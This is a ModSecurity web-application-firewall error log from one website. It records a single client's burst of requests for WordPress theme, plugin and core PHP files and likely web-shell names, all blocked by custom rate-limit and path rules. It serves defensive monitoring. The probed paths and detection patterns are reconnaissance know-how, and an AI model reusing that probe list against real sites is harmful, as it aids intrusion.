[Wed Jan 14 05:07:18.647291 2026] [:error] [pid 58899:tid 58908] [client 4.230.47.124:7117] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/sidebar.php"] [unique_id "aWa0BgWViGQd5R44tHFyRwAAAYU"]
[Wed Jan 14 05:07:18.917242 2026] [:error] [pid 59074:tid 59077] [client 4.230.47.124:7853] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/sidebar.php"] [unique_id "aWa0Bk_KrJ818pzhB3xkRQAAAkE"]
[Wed Jan 14 05:07:19.185940 2026] [:error] [pid 58868:tid 58878] [client 4.230.47.124:7148] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/sidebar.php"] [unique_id "aWa0B067yj8PZAmdsblpGwAAAUg"]
[Wed Jan 14 05:07:19.459053 2026] [:error] [pid 58699:tid 58720] [client 4.230.47.124:7869] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWa0B-YdPBtkMLK2SdqofQAAARI"]
[Wed Jan 14 05:07:19.743839 2026] [:error] [pid 24603:tid 24685] [client 4.230.47.124:7901] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWa0B5PBJGFGN8VT8_ShmAAAAJQ"]
[Wed Jan 14 05:07:20.020501 2026] [:error] [pid 24710:tid 24719] [client 4.230.47.124:7865] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWa0CGXBo5bEhDEEhs1fzgAAAMc"]
[Wed Jan 14 05:07:20.291337 2026] [:error] [pid 24603:tid 24668] [client 4.230.47.124:7899] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWa0CJPBJGFGN8VT8_ShmQAAAIM"]
[Wed Jan 14 05:07:20.571416 2026] [:error] [pid 59074:tid 59090] [client 4.230.47.124:7107] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-db.php"] [unique_id "aWa0CE_KrJ818pzhB3xkRgAAAk4"]
[Wed Jan 14 05:07:20.852591 2026] [:error] [pid 24602:tid 24659] [client 4.230.47.124:7145] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-query.php"] [unique_id "aWa0CEooYwabcb9R9fw3LQAAAFU"]
[Wed Jan 14 05:07:21.122181 2026] [:error] [pid 24710:tid 24736] [client 4.230.47.124:7863] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/version.php"] [unique_id "aWa0CWXBo5bEhDEEhs1fzwAAANg"]
[Wed Jan 14 05:07:21.397788 2026] [:error] [pid 24710:tid 24723] [client 4.230.47.124:7160] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/version.php"] [unique_id "aWa0CWXBo5bEhDEEhs1f0QAAAMs"]
[Wed Jan 14 05:07:21.677406 2026] [:error] [pid 58868:tid 58872] [client 4.230.47.124:7041] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ABSPATHwp-includes/version.php"] [unique_id "aWa0CU67yj8PZAmdsblpIAAAAUI"]
[Wed Jan 14 05:07:21.958513 2026] [:error] [pid 58699:tid 58706] [client 4.230.47.124:7122] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-widgets.php"] [unique_id "aWa0CeYdPBtkMLK2SdqofgAAAQQ"]
[Wed Jan 14 05:07:22.233739 2026] [:error] [pid 58901:tid 58944] [client 4.230.47.124:7881] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Lisli_Emi/header.php"] [unique_id "aWa0Cr3kQSrcqIWtO0okPAAAAc4"]
[Wed Jan 14 05:07:22.504430 2026] [:error] [pid 24602:tid 24662] [client 4.230.47.124:7846] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Lisli_Emi/header.php"] [unique_id "aWa0CkooYwabcb9R9fw3LgAAAFg"]
[Wed Jan 14 05:07:22.800246 2026] [:error] [pid 58899:tid 58917] [client 4.230.47.124:7111] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Lisli_Emi/header.php"] [unique_id "aWa0CgWViGQd5R44tHFySQAAAY4"]
[Wed Jan 14 05:07:23.099088 2026] [:error] [pid 58899:tid 58914] [client 4.230.47.124:7843] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/duplicator/uninstall.php"] [unique_id "aWa0CwWViGQd5R44tHFySgAAAYs"]
[Wed Jan 14 05:07:23.376717 2026] [:error] [pid 59074:tid 59091] [client 4.230.47.124:7915] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/duplicator/uninstall.php"] [unique_id "aWa0C0_KrJ818pzhB3xkRwAAAk8"]
[Wed Jan 14 05:07:23.650796 2026] [:error] [pid 24603:tid 24666] [client 4.230.47.124:7055] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/duplicator/uninstall.php"] [unique_id "aWa0C5PBJGFGN8VT8_ShnAAAAIE"]
[Wed Jan 14 05:07:23.922413 2026] [:error] [pid 58899:tid 58922] [client 4.230.47.124:7059] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/duplicator/uninstall.php"] [unique_id "aWa0CwWViGQd5R44tHFySwAAAZM"]
[Wed Jan 14 05:07:24.191575 2026] [:error] [pid 58899:tid 58916] [client 4.230.47.124:7153] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wpdb.php"] [unique_id "aWa0DAWViGQd5R44tHFyTAAAAY0"]
[Wed Jan 14 05:07:24.480113 2026] [:error] [pid 24602:tid 24648] [client 4.230.47.124:7125] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/canonical.php"] [unique_id "aWa0DEooYwabcb9R9fw3LwAAAEo"]
[Wed Jan 14 05:07:24.764212 2026] [:error] [pid 58699:tid 58711] [client 4.230.47.124:7816] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ozh-click-counter/wp_ozh_clickcounter.php"] [unique_id "aWa0DOYdPBtkMLK2SdqofwAAAQk"]
[Wed Jan 14 05:07:25.033665 2026] [:error] [pid 24602:tid 24644] [client 4.230.47.124:7163] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ozh-click-counter/wp_ozh_clickcounter.php"] [unique_id "aWa0DUooYwabcb9R9fw3MAAAAEY"]
[Wed Jan 14 05:07:25.303471 2026] [:error] [pid 24710:tid 24732] [client 4.230.47.124:7832] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ozh-click-counter/wp_ozh_clickcounter.php"] [unique_id "aWa0DWXBo5bEhDEEhs1f1QAAANQ"]
[Wed Jan 14 05:07:25.580711 2026] [:error] [pid 59074:tid 59099] [client 4.230.47.124:7110] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ozh-click-counter/wp_ozh_clickcounter.php"] [unique_id "aWa0DU_KrJ818pzhB3xkSAAAAlc"]
[Wed Jan 14 05:07:25.849742 2026] [:error] [pid 59074:tid 59086] [client 4.230.47.124:7053] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-hook.php"] [unique_id "aWa0DU_KrJ818pzhB3xkSQAAAko"]
[Wed Jan 14 05:07:26.124855 2026] [:error] [pid 24601:tid 24612] [client 4.230.47.124:7116] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aWa0DkCtWkZ9rlKW5n-BzAAAAAI"]
[Wed Jan 14 05:07:26.398253 2026] [:error] [pid 59074:tid 59084] [client 4.230.47.124:7137] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/formatting.php"] [unique_id "aWa0Dk_KrJ818pzhB3xkSgAAAkg"]
[Wed Jan 14 05:07:26.693596 2026] [:error] [pid 24710:tid 24726] [client 4.230.47.124:7109] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/post-template.php"] [unique_id "aWa0DmXBo5bEhDEEhs1f1wAAAM4"]
[Wed Jan 14 05:07:26.979091 2026] [:error] [pid 24601:tid 24615] [client 4.230.47.124:7151] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/search-filter/search-filter.php"] [unique_id "aWa0DkCtWkZ9rlKW5n-BzQAAAAU"]
[Wed Jan 14 05:07:27.264309 2026] [:error] [pid 24603:tid 24688] [client 4.230.47.124:7872] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/search-filter/search-filter.php"] [unique_id "aWa0D5PBJGFGN8VT8_ShnQAAAJc"]
[Wed Jan 14 05:07:27.558082 2026] [:error] [pid 58699:tid 58703] [client 4.230.47.124:7140] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/search-filter/search-filter.php"] [unique_id "aWa0D-YdPBtkMLK2SdqogAAAAQE"]
[Wed Jan 14 05:07:27.834895 2026] [:error] [pid 24603:tid 24687] [client 4.230.47.124:7922] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/search-filter/search-filter.php"] [unique_id "aWa0D5PBJGFGN8VT8_ShnwAAAJY"]
[Wed Jan 14 05:07:28.107153 2026] [:error] [pid 24602:tid 24640] [client 4.230.47.124:7057] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/template.php"] [unique_id "aWa0EEooYwabcb9R9fw3MQAAAEI"]
[Wed Jan 14 05:07:28.377148 2026] [:error] [pid 59074:tid 59085] [client 4.230.47.124:7840] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/general-template.php"] [unique_id "aWa0EE_KrJ818pzhB3xkTgAAAkk"]
[Wed Jan 14 05:07:28.648617 2026] [:error] [pid 59074:tid 59098] [client 4.230.47.124:7065] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/w3-total-cache/PgCache_ContentGrabber.php"] [unique_id "aWa0EE_KrJ818pzhB3xkTwAAAlY"]
[Wed Jan 14 05:07:28.923160 2026] [:error] [pid 58868:tid 58884] [client 4.230.47.124:6987] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/w3-total-cache/PgCache_ContentGrabber.php"] [unique_id "aWa0EE67yj8PZAmdsblpKgAAAU4"]
[Wed Jan 14 05:07:29.208634 2026] [:error] [pid 59074:tid 59089] [client 4.230.47.124:7120] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/w3-total-cache/PgCache_ContentGrabber.php"] [unique_id "aWa0EU_KrJ818pzhB3xkUAAAAk0"]
[Wed Jan 14 05:07:29.481321 2026] [:error] [pid 24710:tid 24733] [client 4.230.47.124:6951] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/page.php"] [unique_id "aWa0EWXBo5bEhDEEhs1f2AAAANU"]
[Wed Jan 14 05:07:29.762826 2026] [:error] [pid 24602:tid 24639] [client 4.230.47.124:7105] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/page.php"] [unique_id "aWa0EUooYwabcb9R9fw3MwAAAEE"]
[Wed Jan 14 05:07:30.044160 2026] [:error] [pid 58977:tid 58985] [client 4.230.47.124:7006] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/page.php"] [unique_id "aWa0ErlT6ggZLRx9QvAAPAAAAgU"]
[Wed Jan 14 05:07:30.321817 2026] [:error] [pid 58699:tid 58726] [client 4.230.47.124:7054] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/page.php"] [unique_id "aWa0EuYdPBtkMLK2SdqoggAAARg"]
[Wed Jan 14 05:07:30.594189 2026] [:error] [pid 24710:tid 24721] [client 4.230.47.124:7149] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/header.php"] [unique_id "aWa0EmXBo5bEhDEEhs1f2QAAAMk"]
[Wed Jan 14 05:07:30.866179 2026] [:error] [pid 24710:tid 24727] [client 4.230.47.124:7081] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/header.php"] [unique_id "aWa0EmXBo5bEhDEEhs1f2gAAAM8"]
[Wed Jan 14 05:07:31.146886 2026] [:error] [pid 24710:tid 24735] [client 4.230.47.124:7129] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/header.php"] [unique_id "aWa0E2XBo5bEhDEEhs1f2wAAANc"]
[Wed Jan 14 05:07:31.415484 2026] [:error] [pid 24710:tid 24720] [client 4.230.47.124:7164] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/flash/header.php"] [unique_id "aWa0E2XBo5bEhDEEhs1f3AAAAMg"]
[Wed Jan 14 05:07:31.699778 2026] [:error] [pid 24710:tid 24715] [client 4.230.47.124:7136] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wer.php"] [unique_id "aWa0E2XBo5bEhDEEhs1f3gAAAMM"]
[Wed Jan 14 05:07:31.968783 2026] [:error] [pid 58899:tid 58907] [client 4.230.47.124:7080] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wer.php"] [unique_id "aWa0EwWViGQd5R44tHFyTgAAAYQ"]
[Wed Jan 14 05:07:32.251667 2026] [:error] [pid 24602:tid 24653] [client 4.230.47.124:7050] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wer.php"] [unique_id "aWa0FEooYwabcb9R9fw3NQAAAE8"]
[Wed Jan 14 05:07:32.528743 2026] [:error] [pid 24602:tid 24641] [client 4.230.47.124:7147] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wer.php"] [unique_id "aWa0FEooYwabcb9R9fw3NgAAAEM"]
[Wed Jan 14 05:07:32.797987 2026] [:error] [pid 24603:tid 24684] [client 4.230.47.124:7012] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/crouter.php"] [unique_id "aWa0FJPBJGFGN8VT8_ShogAAAJM"]
[Wed Jan 14 05:07:33.068454 2026] [:error] [pid 24602:tid 24655] [client 4.230.47.124:7867] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/crouter.php"] [unique_id "aWa0FUooYwabcb9R9fw3NwAAAFE"]
[Wed Jan 14 05:07:33.337093 2026] [:error] [pid 58977:tid 58992] [client 4.230.47.124:7934] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/crouter.php"] [unique_id "aWa0FblT6ggZLRx9QvAAPQAAAgw"]
